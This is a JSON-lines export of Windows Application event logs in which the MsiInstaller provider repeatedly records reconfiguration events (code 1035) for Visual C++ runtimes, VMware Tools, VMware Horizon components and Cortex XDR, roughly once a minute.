{"@timestamp":1657394771010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170275}}
{"@timestamp":1657394771060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170276}}
{"@timestamp":1657394771100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170277}}
{"@timestamp":1657394771129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170278}}
{"@timestamp":1657394771160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170279}}
{"@timestamp":1657394771187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170280}}
{"@timestamp":1657394771214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170281}}
{"@timestamp":1657394771250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170282}}
{"@timestamp":1657394771280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170283}}
{"@timestamp":1657394830976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170284}}
{"@timestamp":1657394831003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170285}}
{"@timestamp":1657394831053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170286}}
{"@timestamp":1657394831093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170287}}
{"@timestamp":1657394831120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170288}}
{"@timestamp":1657394831151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170289}}
{"@timestamp":1657394831178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170290}}
{"@timestamp":1657394831205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170291}}
{"@timestamp":1657394831242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170292}}
{"@timestamp":1657394831270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170293}}
{"@timestamp":1657394891141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170294}}
{"@timestamp":1657394891167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170295}}
{"@timestamp":1657394891225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170296}}
{"@timestamp":1657394891265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170297}}
{"@timestamp":1657394891292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170298}}
{"@timestamp":1657394891322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170299}}
{"@timestamp":1657394891349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170300}}
{"@timestamp":1657394891376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170301}}
{"@timestamp":1657394891411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170302}}
{"@timestamp":1657394891438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170303}}
{"@timestamp":1657394950894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170304}}
{"@timestamp":1657394950920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170305}}
{"@timestamp":1657394950969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170306}}
{"@timestamp":1657394951008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170307}}
{"@timestamp":1657394951036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170308}}
{"@timestamp":1657394951066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170309}}
{"@timestamp":1657394951093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170310}}
{"@timestamp":1657394951120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170311}}
{"@timestamp":1657394951158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170312}}
{"@timestamp":1657394951187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170313}}
{"@timestamp":1657395011065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170314}}
{"@timestamp":1657395011092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170315}}
{"@timestamp":1657395011144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170316}}
{"@timestamp":1657395011186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170317}}
{"@timestamp":1657395011218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170318}}
{"@timestamp":1657395011274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170319}}
{"@timestamp":1657395011304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170320}}
{"@timestamp":1657395011335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170321}}
{"@timestamp":1657395011377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170322}}
{"@timestamp":1657395011408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170323}}
{"@timestamp":1657395070891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170324}}
{"@timestamp":1657395070917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170325}}
{"@timestamp":1657395070968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170326}}
{"@timestamp":1657395071011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170327}}
{"@timestamp":1657395071039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170328}}
{"@timestamp":1657395071069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170329}}
{"@timestamp":1657395071097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170330}}
{"@timestamp":1657395071123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170331}}
{"@timestamp":1657395071158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170332}}
{"@timestamp":1657395071185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170333}}
{"@timestamp":1657395130985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170334}}
{"@timestamp":1657395131012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170335}}
{"@timestamp":1657395131062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170336}}
{"@timestamp":1657395131105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170337}}
{"@timestamp":1657395131134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170338}}
{"@timestamp":1657395131164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170339}}
{"@timestamp":1657395131191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170340}}
